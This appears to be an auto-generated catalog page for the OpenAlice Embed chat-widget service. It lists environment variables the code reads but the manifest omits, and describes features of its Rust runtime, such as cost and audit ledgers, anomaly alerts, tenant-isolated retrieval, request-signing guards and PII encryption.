# openalice-embed

> **Product #1 on the OpenAlice platform** (level 3 of company → platform → products). Everything Embed lives here; the platform is consumed ONLY as versioned artifacts.

## At a glance
| field | value |
|---|---|
| kind | `service` |
| priority | `—` |
| default branch | `mvp` |
| last activity | 2026-07-15T22:37:05+00:00 |
| features catalogued | **678** |
| runtime deps declared | **0** |

## Manifest
`.atlas-deps.yml` — parsed cleanly: **yes**

## Env drift

**Code reads, manifest omits (90):**
- `ALICE_INTERNAL_URL`
- `AUTH_INTERNAL_URL`
- `AUTH_JWKS_URL`
- `BILLING_PUBLIC_BASE_URL`
- `BILLING_WEBHOOK_BASE_URL`
- `BOOKING_REMINDER_LEAD_HOURS`
- `BREVO_API_KEY`
- `BREVO_SENDER_EMAIL`
- `BREVO_SENDER_NAME`
- `CHAT_BRIDGE_DB_URL`
- `CHAT_BRIDGE_INTERNAL_URL`
- `DATABASE_URL`
- `EMBED_ACCOUNTS_INTERNAL_URL`
- `EMBED_ACCOUNTS_PORT`
- `EMBED_ACCOUNTS_RLS_ENFORCE`
- `EMBED_ACCOUNTS_URL`
- `EMBED_ADMIN_TENANT_IDS`
- `EMBED_API_KEY`
- `EMBED_BASE_URL`
- `EMBED_DASHBOARD_DEV_TOKEN`
- `EMBED_DEV_TENANT_ID`
- `EMBED_DEV_TENANT_PLAN`
- `EMBED_MODEL`
- `EMBED_RUNTIME_BIND_ADDR`
- `EMBED_RUNTIME_DEFAULT_LLM_MODEL`
- `EMBED_RUNTIME_DEFAULT_LLM_PROVIDER`
- `EMBED_RUNTIME_DEFAULT_STT_PROVIDER`
- `EMBED_RUNTIME_DEFAULT_TTS_PROVIDER`
- `EMBED_RUNTIME_DEFAULT_TTS_VOICE`
- `EMBED_RUNTIME_INTERNAL_URL`
- `EMBED_RUNTIME_VISION_BASE_URL`
- `EMBED_RUNTIME_VISION_MODEL`
- `EMBED_UPGRADE_URL`
- `EXPORT_DOWNLOAD_SIGNING_KEY`
- `EXPORT_ROOT`
- `FGA_ENFORCE`
- `FGA_SHADOW`
- `INTERNAL_BROADCAST_SECRET`
- `INTERNAL_SECRET`
- `KB_ASSET_BASE_URL`
- `KB_REINDEX_DAYS`
- `KB_UPLOAD_DIR`
- `LEGAL_BASE_URL`
- `LIVE_CONTROL_INTERNAL_URL`
- `MISTRAL_API_KEY`
- `MOLLIE_API_KEY`
- `MOLLIE_WEBHOOK_SECRET`
- `NEXT_OUTPUT`
- `NEXT_PHASE`
- `NEXT_PRIVATE_DEBUG_CACHE`
- `NEXT_PRIVATE_TEST_PROXY`
- `NEXT_PUBLIC_AGENT_BASE`
- `NEXT_PUBLIC_APP_URL`
- `NEXT_PUBLIC_DASHBOARD_URL`
- `NEXT_PUBLIC_EMBED_API_BASE`
- `NEXT_PUBLIC_SDK_URL`
- `NEXT_SSG_FETCH_METRICS`
- `NODE_INSPECTOR_IPC`
- `OA_NEXT_DIST_DIR`
- `OA_SECRETS_MASTER_KEY`
- `OPENALICE_ENV`
- `OPENROUTER_API_KEY`
- `PERSONA_INTERNAL_URL`
- `POSTER_CHROMIUM_PATH`
- `PREPAID_RATE_CONVERSATION_CENTS`
- `PREPAID_RATE_VOICE_MINUTE_CENTS`
- `PREVIEW_ALLOWED_DOMAINS`
- `RAG_DATABASE_URL`
- `S2_PUBLIC_BASE`
- `S2_QR_BASE`
- `S2_REFERRAL_URL`
- `SETUP_GEN_BASE_URL`
- `SHARED_JWT_SECRET`
- `SOCIAL_API_INTERNAL_URL`
- `SSO_PUBLIC_URL`
- `TENANT_RATE_LIMIT_PER_MINUTE`
- `TENANT_VRM_DIR`
- `TSC_NONPOLLING_WATCHER`
- `TSC_WATCHDIRECTORY`
- `TSC_WATCHFILE`
- `TS_ETW_MODULE_PATH`
- `VISITOR_DB_URL`
- `VITE_EMBED_API_BASE`
- `VITE_EMBED_BASE`
- `VOICE_INTERNAL_URL`
- `VRM_ASSET_BASE_URL`
- `VSCODE_CWD`
- `VSCODE_INSPECTOR_OPTIONS`
- `WIDGET_SHARE_ACCEPT_URL`
- `WORLD_INTERNAL_URL`

## Features (678)

### agent-lite/agent
- **`agent-lite.agent.runtime`** — The AgentLite struct — composes openalice-llm-router (LLM calls), openalice-stt (voice-in transcription), and a BrandKnowledge provider (RAG). Tracks live conversations in a DashMap so the Embed widget can resume a session by id.  
  *embed-runtime/src/agent.rs:1*

### agent-lite/analytics
- **`agent-lite.analytics.summary`** — Per-widget analytics rollup over the EU-sovereign local Postgres ledgers. Aggregates three tables — `cost_events`, `tool_audit_events`, and the per-conversation activity they imply — into one JSON summary scoped STRICTLY by `(tenant_id, widget_id)` over a trailing `days` window. ── Data sources & derivations ────────────────────────────────────────────── Conversations are NOT persisted (they live in an in-process DashMap), so we derive activity from the billable/audit trail both tables share: - conversations      = COUNT(DISTINCT conversation_id) in cost_events - messages           = COUNT of LLM cost events (one LLM call ≈ one assistant turn — the closest durable proxy) - tool_calls_total   = COUNT of tool_audit_events (any outcome) - tool_calls_by_name = GROUP BY tool_name - escalations        = tool_audit_events WHERE tool_name='escalate_to_human' AND outcome='ok' (an actually-executed handoff) - deflection_rate    = 1 - escalations / conversations  (clamped to [0,1]) - avg_turns          = messages / conversations - cost_cents_total   = SUM(cost_cents) - by_day             = per-UTC-day { conversations, cost_cents } The folding math (`AnalyticsSummary::from_parts`) is a PURE function so the response shape is unit-testable without a live DB. The SQL helpers are thin read queries over the same pool the cost ledger owns.  
  *embed-runtime/src/analytics.rs:1*

### agent-lite/anomaly
- **`agent-lite.anomaly.alert`** — Per-widget traffic-anomaly detection + owner alerting for the PUBLIC `/v1/embed/*` surface (S2 MODULE 4, architecture Р6; acceptance = S2-HANDOFF §P0 item 4: «синтетический спам упирается в лимиты; владелец получает алерт; минус невозможен»). What this is (and deliberately isn't): a SIMPLE fixed-threshold spike detector. Each widget owns one fixed 10-minute counting window (sessions + messages, counted at the HANDLER level — i.e. only traffic that resolved to a real widget; 404 spam and uptime probes never count). When either count EXCEEDS its threshold the detector emits ONE [`AnomalyAlert`], and the per-widget cooldown (1 hour) suppresses further alerts so an ongoing flood emails the owner at most once per hour — never a mailbox flood. No moving averages, no per-widget learned baselines: fixed thresholds from env (`EMBED_ANOMALY_SESSIONS_PER_10MIN` / `EMBED_ANOMALY_MESSAGES_PER_10MIN`), per the module brief («keep it SIMPLE»). Why this exists IN ADDITION to the rate limiter: the limiter caps a single IP (per-conversation + per-IP fixed windows → 429). A distributed spammer (many IPs, each under its own cap) sails past per-IP limits — but the AGGREGATE per-widget counts here still spike, and the OWNER gets told. Cost is already bounded upstream regardless (conversation/message quota + prepaid cap — «минус невозможен» holds even if no alert fires). Delivery reuses the EXISTING transactional-email channel (launch-ops #24): the Brevo [`crate::mailer::Mailer`] that already sends transcript emails from THIS service. Recipient resolution (see [`AnomalyDetector::recipient_for`]): the widget's configured notification inbox (`AgentConfig.transcript_email .to_address`, taken whenever syntactically valid — the transcript `enabled` flag gates TRANSCRIPTS, not abuse alerts) falling back to the operator address in `EMBED_ANOMALY_ALERT_EMAIL`. No recipient / disabled mailer ⇒ the alert still lands as a WARN log line (+ Prometheus counter), never an error on the visitor's request path. Memory: both maps are keyed by widget namespace and only ever populated for RESOLVED widgets (bounded by the real widget count), so no pruner is needed.  
  *embed-runtime/src/anomaly.rs:1*

### agent-lite/audit
- **`agent-lite.audit.tool-events`** — Tool-call audit trail. Every tool the ReAct loop touches is recorded as a `(tool_name, outcome)` row — for security review, abuse detection, and governance. Mirrors the cost-ledger design: 1. A `ToolAuditSink` trait with three impls: - `PostgresToolAuditSink` — fire-and-forget INSERT onto a shared `PgPool` (the cost-ledger pool), so a slow/failed DB write never blocks or breaks a conversation turn. - `NullToolAuditSink` — no-op (the default when no DB is wired). The turn never fails on audit being absent. - `InMemoryToolAuditSink` — a recording sink used by tests (and only tests) to assert outcomes without a live DB. 2. A `ToolAuditEvent` value carrying ONLY non-PII fields: the attribution ids (tenant / widget / conversation), the tool name, the outcome, and an OPTIONAL list of argument KEYS (never values — values may contain visitor PII). No argument values, no secrets, ever. ── EU-sovereign ────────────────────────────────────────────────────────── The audit table lives on the same local PG instance as the cost ledger + visitor memory (VISITOR_DB_URL). No tool telemetry leaves the operator's infrastructure. Argument VALUES are deliberately never persisted.  
  *embed-runtime/src/audit/mod.rs:1*

### agent-lite/avatars
- **`agent-lite.avatars.catalog`** — The VRM avatar catalog agent-lite OWNS and exposes publicly. The dashboard shows these as picker cards; a tenant stores the chosen `vrm_id` in `Appearance.vrm_id`, and the embed session bootstrap resolves it to an absolute `vrm_url` the widget loads (mirrors how `logo_url` is surfaced). Catalog URLs are built from a single `asset_base` (env `EMBED_ASSET_BASE`, default `https://embed.blal.pro`) so the same code serves dev / prod by swapping one env var. VRM files live under `{asset_base}/v1/vrm/<id>.vrm`.  
  *embed-runtime/src/avatars.rs:1*

### agent-lite/bin
- **`agent-lite.bin.agent-eval`** — Text-only evaluation harness for the agent-lite ReAct tool-loop. NAO's #1 quality gate — "our eyes". Drives the REAL streaming loop (run_tool_loop) against OpenRouter and scores tool-selection, scope adherence, grounding, and over/under-calling — WITHOUT spending STT/TTS tokens (text layer only). EU-sovereign: every LLM call routes through the llm-router OpenRouter adapter. USAGE: cargo run -p openalice-agent-lite --bin agent_eval → economy run: ONE cheap EU model (mistralai/mistral-small-2603) × 5. cargo run -p openalice-agent-lite --bin agent_eval -- --full → all ~11 scenarios. cargo run -p openalice-agent-lite --bin agent_eval -- \ --models mistralai/mistral-small-2603,mistralai/mistral-large-2512 → custom model list (comma-separated OpenRouter ids). ECONOMY: defaults to one cheap model + the small scenario set. Output is bounded by tool_max_iterations=3 + tool_calls_per_session_max=6 per turn. If OPENROUTER_API_KEY is unset, the harness prints "skipped: no key" and exits 0 (so it never fails CI or a dry run). This binary never runs under `cargo test` (it is a [[bin]], not a #[test]), so the test suite stays free of live API calls. Only the pure scoring logic in `crate::eval` is unit-tested.  
  *embed-runtime/src/bin/agent_eval.rs:1*
- **`agent-lite.bin.server`** — Binary entry point for the agent-lite HTTP/WS service. Boot sequence: 1. Init tracing (RUST_LOG env, defaults to "info,openalice=debug"). 2. Load ServerConfig from env vars (no clap/figment dep). 3. Build the LLM router — real OpenRouter adapter when OPENROUTER_API_KEY is set, MockAdapter otherwise (so the server starts in dev mode without any keys). 4. Build the STT + TTS routers similarly. 5. Construct AgentLite::without_knowledge (brand-KB wired by tenants at conversation-start via brand_kb_url in AgentConfig). 6. Build the Axum router via embed_runtime::http::router. 7. Bind + serve.  
  *embed-runtime/src/bin/embed_runtime_server.rs:1*

### agent-lite/brand
- **`agent-lite.brand.inmemory`** — In-memory BrandKnowledge — naive case-insensitive substring match. For tests and dev mode only. Real RAG lives in openalice-rag.  
  *embed-runtime/src/brand/inmemory.rs:1*
- **`agent-lite.brand.knowledge-trait`** — `BrandKnowledge` trait — abstraction over RAG retrieval. agent-lite asks for "top-k chunks for this query" and gets back text. The actual RAG implementation (scrape + chunk + embed + retrieve) lives in a future `openalice-rag` sibling crate. This trait lets us ship the runtime today with an in-memory backend, then swap in real RAG without re-touching agent-lite call sites.  
  *embed-runtime/src/brand/mod.rs:1*
- **`agent-lite.brand.null`** — Null BrandKnowledge — always returns empty. Used by tenants without a configured brand_kb_url.  
  *embed-runtime/src/brand/null.rs:1*
- **`agent-lite.brand.rag`** — Production BrandKnowledge — backs `search_knowledge` (and the front-loaded per-turn RAG) with the real `openalice-rag` `RagRouter` over a pgvector store + an EU-sovereign Mistral embedder. Tenant isolation is the whole point: every retrieve threads the conversation's `tenant_id` straight into `RagRouter::retrieve_scoped`, so one tenant can never read another tenant's indexed chunks (the store filters on the `tenant_id` column before the ANN scan). openalice-rag 0.1.3 (audit finding B1, 2026-07) made `retrieve_scoped`'s tenant_id MANDATORY — the crate no longer has an unscoped/admin retrieve path at all, and the pgvector store additionally FORCE-enforces isolation at the Postgres RLS layer. `BrandKnowledge::retrieve` keeps its `Option<&str>` shape (every real caller already passes `Some` — see `tools::universal::SearchKnowledgeTool` and `agent.rs`); a `None` here would be a bug in a future caller, not a legitimate unscoped path, so it is refused (logged, empty result) rather than silently widened into an unscoped DB query.  
  *embed-runtime/src/brand/rag.rs:1*

### agent-lite/config
- **`agent-lite.config.agent-config`** · _HELD (branch u-slice4-pii-toggle, pending merge to mvp)_ — Per-tenant configuration for one Lite agent instance. Hot-reloadable from openalice-tenants — every conversation snapshots the config at creation, so a live config change doesn't disrupt mid-conversation visitors. @feature agent-lite.config.pii-redaction-toggle Per-widget opt-in PII-redaction toggle for transcript email bodies (`TranscriptEmail.redact_pii`, `#[serde(default)]` = false). When true, each message's text is passed through the regex-based PII redactor (`memory::redact::redact_text`) before being formatted into the HTML email — scrubs email addresses, E.164 phone numbers, and long digit runs (card / IBAN-like). Default is `false` so lead-capture widgets keep the visitor's contact details in the inbox; privacy- maximised deployments opt in explicitly via the embed-app TranscriptEmailEditor. Safe to merge to mvp: old config rows without the key deserialise as `false` (no behaviour change). Also adds the global `AgentConfig.pii_redaction` field (true by default via `default_pii_redaction`) that gates PII scrubbing from the in-memory conversation transcript store.  
  *embed-runtime/src/config.rs:1*

### agent-lite/config-resolver
- **`agent-lite.config-resolver.tenants`** — `TenantsConfigResolver` — the production `ConfigResolver`: fetches a widget's trusted `AgentConfig` from openalice-tenants over HTTP (`GET /internal/widgets/:public_id/config`, gated by the shared `X-Internal-Secret` per scope-internal-auth-only). The tenants response is exactly the `AgentConfig` JSON shape, so resolution is a direct deserialize. 404 → `None` (unknown / paused widget); other failures → `Err` so the session endpoint returns 502 rather than silently 404-ing.  
  *embed-runtime/src/config_resolver/tenants.rs:1*
- **`agent-lite.config-resolver.trait`** — `ConfigResolver` — resolves a widget's `AgentConfig` SERVER-SIDE from its opaque `widget_id`, for the public Embed session-bootstrap endpoint. WHY this exists: the public widget runs on third-party pages and must NOT send its own persona / budgets / consent config from the browser (that would leak + be spoofable). Instead the widget sends only `{widget_id, visitor_id, consent}`, and the server looks up the trusted config. This trait is the lookup seam — same pluggable shape as `BrandKnowledge` / `VisitorMemory`: - `StaticConfigResolver` (this crate) — in-memory map for dev + tests. - `NullConfigResolver`   (this crate) — resolves nothing (404); the safe default until a real resolver is wired. - future `TenantsConfigResolver` — HTTP to openalice-tenants `/internal/widgets/:id/config` (X-Internal-Secret), per `scope-internal-auth-only`. Swaps in without touching call sites.  
  *embed-runtime/src/config_resolver/mod.rs:1*

### agent-lite/conversation
- **`agent-lite.conversation.page-context-overlay`** — Entry-point WIRING proof for the S2 F1 hosted-page persona overlay (integration tests originate at the HTTP handler — the org's prompt-wiring-test-at-entry-point rule). Hermetic: a CAPTURING LLM adapter (records every ChatRequest's messages), a stubbed config resolver, and a fake BookingApi that resolves the widget's hosted page server-side. We dispatch in-process via `tower::ServiceExt::oneshot`. Proves, end-to-end through POST /session → POST /message: - a session bootstrapped WITH `page_slug` (the /l/{slug} mount's claim) reaches the LLM with the PAGE-CONTEXT OVERLAY directly after the persona AND the RELAXED scope-lock right behind it; - a session WITHOUT the claim keeps the exact pre-F1 prompt (no overlay, strict lock — the personality-preservation guarantee); - a MISMATCHED claim (stale/spoofed slug ≠ the widget's real page) is ignored — server-side verification, the browser can never inject context.  
  *embed-runtime/tests/page_overlay_test.rs:1*
- **`agent-lite.conversation.sentiment`** — Per-conversation SENTIMENT classification — the PURE parts: prompt builder + strict-JSON parser. The LLM call itself lives on `AgentLite` (it owns the router); these helpers are kept side-effect-free so they unit-test without a provider. Contract: a CHEAP one-shot call on the EU Mistral returns strict JSON `{ "sentiment": "positive"|"neutral"|"negative", "score": 1-5 }`. We tolerate the model wrapping it in ```json fences or trailing prose by extracting the first balanced `{ … }` object; on any parse failure we return `None` so the conversation simply stays unscored (never an error).  
  *embed-runtime/src/transcript/sentiment.rs:1*
- **`agent-lite.conversation.state`** — Per-conversation state — bounded message window, token + turn counters, brand-knowledge snippets pulled in for the current exchange. Conversations are short-lived (one visitor session) and never persisted across visitors.  
  *embed-runtime/src/conversation/mod.rs:1*

### agent-lite/cost
- **`agent-lite.cost.ledger`** — Persistent cost ledger. Each sister crate (STT / LLM / TTS) emits a `CostEvent` via its own `CostTracker` trait after every billable call. This module provides: 1. `CostCtx` + a tokio task-local (`COST_CTX`) carrying the per-turn attribution (tenant / widget / conversation). The crate `CostEvent` types only carry `tenant_id` — widget_id + conversation_id are NOT on them — so we thread that context out-of-band via the task-local. 2. `PostgresCostTracker` — one struct implementing all three crates' `CostTracker` traits. On `record` it reads the current `COST_CTX`, flattens the per-kind metric into a JSONB bag, and INSERTs a row fire-and-forget (`tokio::spawn`) so a slow/failed DB write can never block or break a conversation turn. It also re-emits the existing INFO log line so live `docker logs` tailing is unchanged. 3. Summary aggregation (`CostSummary`) + the SQL the `GET /internal/cost/summary` endpoint runs (tenant-window or single conversation), including a documented $/minute derivation. ── Why a task-local (design choice) ────────────────────────────────────── The three routers are each built ONCE at boot, wrapped in `Arc`, and shared across every concurrent conversation; their `CostTracker` is set once via `with_tracker`. So a tracker can't be "created per turn", and an `Arc<Mutex<Option<Ctx>>>` on the tracker would race across concurrent turns. A tokio task-local is the clean fit: each turn runs in its own task (the non-stream handler task, or the spawned streaming task), so scoping the router call(s) with `cost::scope(ctx, fut)` attributes every `CostEvent` that fires inside that future — including the streaming tracker callback, which runs in the SAME task. Calls made OUTSIDE any scope (e.g. warm-up filler synthesis) simply record with widget/ conversation = NULL, which the schema allows.  
  *embed-runtime/src/cost.rs:1*

### agent-lite/crate
- **`agent-lite.crate.runtime`** — Lightweight per-conversation agent runtime. Composes the model-agnostic sister crates (openalice-llm-router, openalice-stt, future openalice-tts) into a single REST + WS surface that powers the OpenAlice Embed widget. Distinct codebase from Alice Full — zero coupling to its 315k-LOC runtime.  
  *embed-runtime/src/lib.rs:1*

### agent-lite/crypto
- **`agent-lite.crypto.lead_cipher`** — AES-256-GCM cipher for the PII content columns of `embed_leads` (name / email / phone / message). The raw cipher (`Cipher`) is a VERBATIM mirror of the org reference impl in `openalice-tenants/src/crypto.rs` (`tenants.crypto.cipher`) — same `OA_SECRETS_MASTER_KEY` 64-hex master key, same `[12-byte random nonce][ciphertext+tag]` wire format, same no-key degradation. We do NOT hand-roll AES; we reuse that proven shape so the org has ONE crypto envelope. On top of the raw cipher this module adds a self-describing, forward-compatible TEXT envelope so encrypted and legacy-plaintext rows coexist in the same column with NO bulk migration: - `seal`: plaintext becomes `enc:v1:<base64(nonce||ct||tag)>`. - `open`: an `enc:v1:` value decrypts; anything without the marker reads back verbatim (a legacy plaintext row is unchanged). Key handling (mirrors the tenants `Cipher::from_env` posture): - `OA_SECRETS_MASTER_KEY` set + valid 64-hex: `Some(Cipher)`, PII encrypted on write. - set but malformed: boot fails fast (caller `.expect`s). - UNSET / empty: `None`, values written + read as PLAINTEXT (dev/test + self-hosted-without-a-key stay green; existing tests unaffected). The recovered PII is only ever returned to the dashboard over the X-Internal-Secret-gated `/internal/insights/leads` read path.  
  *embed-runtime/src/crypto.rs:3*

### agent-lite/error
- **`agent-lite.error.agent-error`** — Typed errors for the agent-lite runtime. Wraps sister-crate errors (LLMError / STTError / TTSError) plus our own (unknown tenant, conversation not found, brand-kb fetch failed, etc).  
  *embed-runtime/src/error.rs:1*

### agent-lite/eval
- **`agent-lite.eval.harness`** — Text-only evaluation harness for the ReAct tool-loop. NAO's #1 quality gate — "our eyes". Measures tool-selection correctness, scope adherence, grounding, and over/under-calling, WITHOUT spending STT/TTS tokens (text layer only). EU-sovereign: every LLM call goes through the llm-router's OpenRouter adapter. The harness drives the REAL streaming path ([`AgentLite::user_message_stream`] → `run_tool_loop`) so it exercises the actual loop, guards, allowlist, dedup, and grounding — not a re-implementation. It captures the `StreamEvent` stream (which tools fired via `ToolActivity` / `UiAction` / `Escalate`, and the final `Done` text), then scores each scenario's expectations. This module is pure data + scoring + a thin async runner. The binary (`src/bin/agent_eval.rs`) owns the CLI, the Router construction, and the table rendering. Only the scoring logic is unit-tested (the bin never runs under `cargo test`, so CI stays free of live API calls).  
  *embed-runtime/src/eval/mod.rs:1*

### agent-lite/experiments
- **`agent-lite.experiments.assign`** — Stateless, deterministic A/B variant assignment for the within-widget traffic split (v1: the client defines variants + weights; the runtime assigns a visitor to one variant and measures the outcome). ── Why deterministic (no rand) ────────────────────────────────────────────── The same visitor must get the SAME variant every time they re-bootstrap a session ("stickiness"), with NO server-side per-visitor state to store. We hash `"{key}:{experiment_id}"` with FNV-1a (a fast, well-distributed, dependency-free non-cryptographic hash) and bucket the hash into a cumulative-weight CDF over the variants. Same inputs ⇒ same bucket ⇒ same variant, forever, on any node. ── Hash key (the T0 decision) ─────────────────────────────────────────────── The caller chooses the key: a durable `visitor_id` for a known visitor, or the `conversation_id` for a pure-T0 anonymous visitor (no visitor_id). A T0 visitor is anonymous + ephemeral by definition, so within-conversation stickiness (re-hash on the next conversation) is the right granularity. ── Weights ────────────────────────────────────────────────────────────────── Weights are accepted as ANY positive integers and NORMALIZED at assignment via the cumulative-weight CDF (probability = weight / total_weight). A variant with weight 0 is NEVER selected (its CDF slice is empty). An empty variant list — or a total weight of 0 — yields `None` (the session uses the baseline config: never crash, never force a variant).  
  *embed-runtime/src/experiment.rs:1*
- **`agent-lite.experiments.overlay`** — `config_overlay` merge for the A/B experiment engine — the READ-GUARD half of a two-sided allowlist (the tenants write-validation is the other half). When a visitor is assigned an experiment variant, that variant carries a `config_overlay` JSON object the runtime applies on top of the resolved `AgentConfig` BEFORE the conversation opens. Only a small, hard-coded set of SAFE fields may be overlaid; every other key is IGNORED (logged at TRACE). ── Why a hard allowlist (security-critical) ───────────────────────────────── An experiment must NEVER be able to flip a consent / privacy / security field. Overriding `consent_us_llms`, `tools_enabled`, `allowed_domains`, `transcript_retention_days`, `escalation_*`, or `memory_tier` from an experiment overlay would let a content experiment silently change data residency, the tool surface, the domain gate, or the retention posture. So the overlay can ONLY touch the visitor-facing CONTENT fields below: greeting, greeting_enabled, persona_script, llm_model, locale. `llm_provider` is deliberately EXCLUDED in v1 (a provider switch can shift data residency Mistral-EU↔OpenRouter-US and must be consent-checked — out of scope for a stateless overlay). The allowlist is enforced HERE and again in the tenants write path; a key absent from [`SAFE_OVERLAY_FIELDS`] is dropped.  
  *embed-runtime/src/ab_overlay.rs:1*

### agent-lite/http
- **`agent-lite.http.analytics-summary`** — Internal per-widget analytics endpoint over the EU-sovereign local ledgers. GET /internal/analytics/summary?widget_id=<public_id>[&days=<N>] Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the cost-summary endpoint and the agent-lite → tenants internal calls use (scope-internal-auth-only), via oa_framework::verify_internal_secret (503 unset / 403 mismatch). The endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Scoping: the widget's `tenant_id` is resolved server-side via the same `ConfigResolver` the embed routes use, so every aggregate query is bounded by BOTH `(tenant_id, widget_id)` — one customer can never see another's data even if they spoof a widget id (an unknown widget 404s). Returns the aggregated `AnalyticsSummary` (see crate::analytics): { conversations, messages, tool_calls_total, tool_calls_by_name, escalations, deflection_rate, avg_turns, cost_cents_total,  
  *embed-runtime/src/http/handlers/analytics.rs:1*
- **`agent-lite.http.auth`** — Tenant-bearer extractor for the ADMIN / operator conversation surface (`/v1/conversations*`). The bearer is a real, signed HS256 access token minted by `openalice-auth`; agent-lite verifies it here via the shared `openalice-axum-common::auth::validate_hs256_access_token` seam and reads the verified tenant id from the `tid` claim (falling back to `sub` for legacy single-tenant tokens). THREAT MODEL (P0-4): before this, ANY non-empty bearer string was accepted verbatim as the tenant_id, so the admin surface was effectively unauthenticated and tenant isolation was illusory — a caller could read any tenant's transcripts by simply sending that tenant's id as the bearer. Now the token must carry a valid signature under the cluster `SHARED_JWT_SECRET` and the openalice-auth issuer, and the tenant id is taken from the verified claims, never from a client-controlled string. NOTE: this guards ONLY the admin/operator `/v1/conversations*` routes. The PUBLIC embed-session flow (`/v1/embed/*`) does NOT use this extractor — it authenticates visitors with conversation-scoped capabilities + the env-gated Turnstile / HMAC guards, and is entirely unaffected by this change.  
  *embed-runtime/src/http/auth.rs:1*
- **`agent-lite.http.cost-summary`** — Internal cost-summary endpoint over the persistent cost ledger. GET /internal/cost/summary?tenant=<id>[&from=<rfc3339>][&to=<rfc3339>] GET /internal/cost/summary?conversation=<id> Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the agent-lite → tenants internal calls use (scope-internal-auth-only). The endpoint is OFF (503) when `INTERNAL_SECRET` is unset, so it can never be reached unauthenticated. Mounted OUTSIDE the public rate-limited surface. Returns the aggregated `CostSummary` (see crate::cost): total_cents, by_kind {stt,llm,tts}, by_provider, event_count, and — when a conversation duration can be derived — total_conversation_seconds + cost_per_minute / cost_per_hour. $/min derivation = the SPAN of a conversation's cost events (max ts - min ts); rough, labelled via `duration_basis = "cost_event_span"`.  
  *embed-runtime/src/http/handlers/cost.rs:1*
- **`agent-lite.http.e2e-message-turn`** — Hermetic end-to-end smoke for a full PUBLIC embed message turn: a stubbed config resolver (StaticConfigResolver) + a mocked LLM (MockAdapter, no network) + an in-memory brand KB. We dispatch in-process via `tower::ServiceExt::oneshot` (no TCP listener), exactly like http_test.rs. Asserts: - POST /v1/embed/{widget_id}/session → 201 with a conversation_id, the new default_mode / call_mode fields, and (no signing secret wired) NO sig_key. - POST /v1/embed/conversations/{id}/message → 200 with the mocked reply. - The `agent_lite_rag_hits_total` Prometheus counter MOVED across the turn (the front-loaded RAG retrieve found the seeded chunk), proving the metrics wiring fires on the real message path. No DB, no network — fully hermetic.  
  *embed-runtime/tests/e2e_message_turn_test.rs:1*
- **`agent-lite.http.embed-guard`** — Two independent, ENV-GATED security guards for the PUBLIC `/v1/embed/*` widget surface (§0.2). Both default OFF — when their env var is unset the middleware is a pure pass-through and the endpoints behave exactly as they did before this module existed (the live demo keeps working). They enforce ONLY when configured. These layer ON TOP of the existing per-(IP, resource) rate limiter (see [`crate::http::rate_limit`]); composition order is set in [`crate::http::router`]: rate-limit → guard → handler. GUARD 1 — Cloudflare Turnstile (bot defense on session bootstrap): Env `TURNSTILE_SECRET` (unset → OFF). When set, the session bootstrap `POST /v1/embed/:widgetId/session` must carry a Turnstile token, read from the JSON body field `turnstile_token` OR the `cf-turnstile-response` header (body takes precedence). The token is verified server-side via `POST https://challenges.cloudflare.com/turnstile/v0/siteverify` (form: secret, response, optional remoteip). Failure → 403 JSON. One verify call per session bootstrap (cheap, low rate); nothing cached. GUARD 2 — HMAC request signature (origin integrity on message turns): Env `EMBED_SIGNING_SECRET` (unset → OFF). When set, the message + stream + stt routes (`POST /v1/embed/conversations/:id/message[/stream]`, `…/stt`) must carry headers: X-OA-Timestamp  — unix seconds (decimal) X-OA-Signature  — lowercase-hex HMAC-SHA256 over the exact ASCII string `"{conversation_id}.{timestamp}"`, keyed by the UTF-8 bytes of the PER-SESSION `sig_key` STRING. Reject (401 JSON) on: missing header, unparseable timestamp, skew > 300 s in either direction, or signature mismatch. The compare is constant-time (`subtle::ConstantTimeEq`) so it can't leak via timing. SIGNATURE SCHEME (matches the shipping widget byte-for-byte): sig_key   = lowercasehex( HMAC_SHA256(key = EMBED_SIGNING_SECRET, msg = conversation_id) ) ← issued ONCE in the session bootstrap response; the widget imports it as raw key material. message   = format!("{conversation_id}.{timestamp}")  (conv id FIRST) signature = lowercasehex( HMAC_SHA256(key = sig_key.as_bytes(), msg = message) ) The widget computes `signature` for every message/stream/stt POST using the `sig_key` STRING (NOT hex-decoded) as the HMAC key. The server re-derives the same `sig_key` from `EMBED_SIGNING_SECRET` + `conversation_id`, so no per-session state is stored. DEFAULT OFF until `EMBED_SIGNING_SECRET` is provisioned.  
  *embed-runtime/src/http/embed_guard.rs:1*
- **`agent-lite.http.error`** — IntoResponse implementation for AgentLiteError → HTTP status mapping. Maps each typed error variant to the most specific HTTP status code and a JSON error body so the Embed widget can distinguish recoverable from terminal errors without parsing the message string.  
  *embed-runtime/src/http/error.rs:1*
- **`agent-lite.http.gdpr-export`** — Internal GDPR data-export slice for the tenants orchestrator. GET /internal/me/{tenant_id}/export.json Auth: `X-Internal-Secret: <INTERNAL_SECRET>` — the SAME header + env the rest of the /internal surface uses (scope-internal-auth-only). OFF (503) when INTERNAL_SECRET is unset, so it can never be reached unauthenticated. The openalice-tenants GDPR orchestrator fans out to each sibling service's `/internal/me/<tenant_id>/export.json`, gated by X-Internal-Secret, and folds whatever JSON it returns into the subject's export ZIP. This endpoint returns the visitor data agent-lite holds for the tenant: the visitor profiles + their distilled facts. The orchestrator tolerates any shape, so we return a small self-describing object (always valid JSON, never a 404) that names the service + tenant and lists the profiles. KEYING CAVEAT: agent-lite namespaces visitor memory by the WIDGET (`"{widget_id}:{visitor_id}"`), not the tenant — and it has no local tenant→widget index. So the export matches profiles whose namespace prefix equals the supplied id. This captures (a) widgets that predate the widget-id field (namespace == tenant_id) and (b) callers that pass a widget id. A tenant whose widgets all carry distinct `wgt_*` ids will get an empty-but-valid slice here; surfacing those would require a tenant→widget map this service doesn't own. Documented residual, not a 404.  
  *embed-runtime/src/http/handlers/me_export.rs:1*
- **`agent-lite.http.handlers`** — Handler modules for the agent-lite REST + WS surface. All route handlers are assembled by `http::router()` in the parent module.  
  *embed-runtime/src/http/handlers/mod.rs:1*
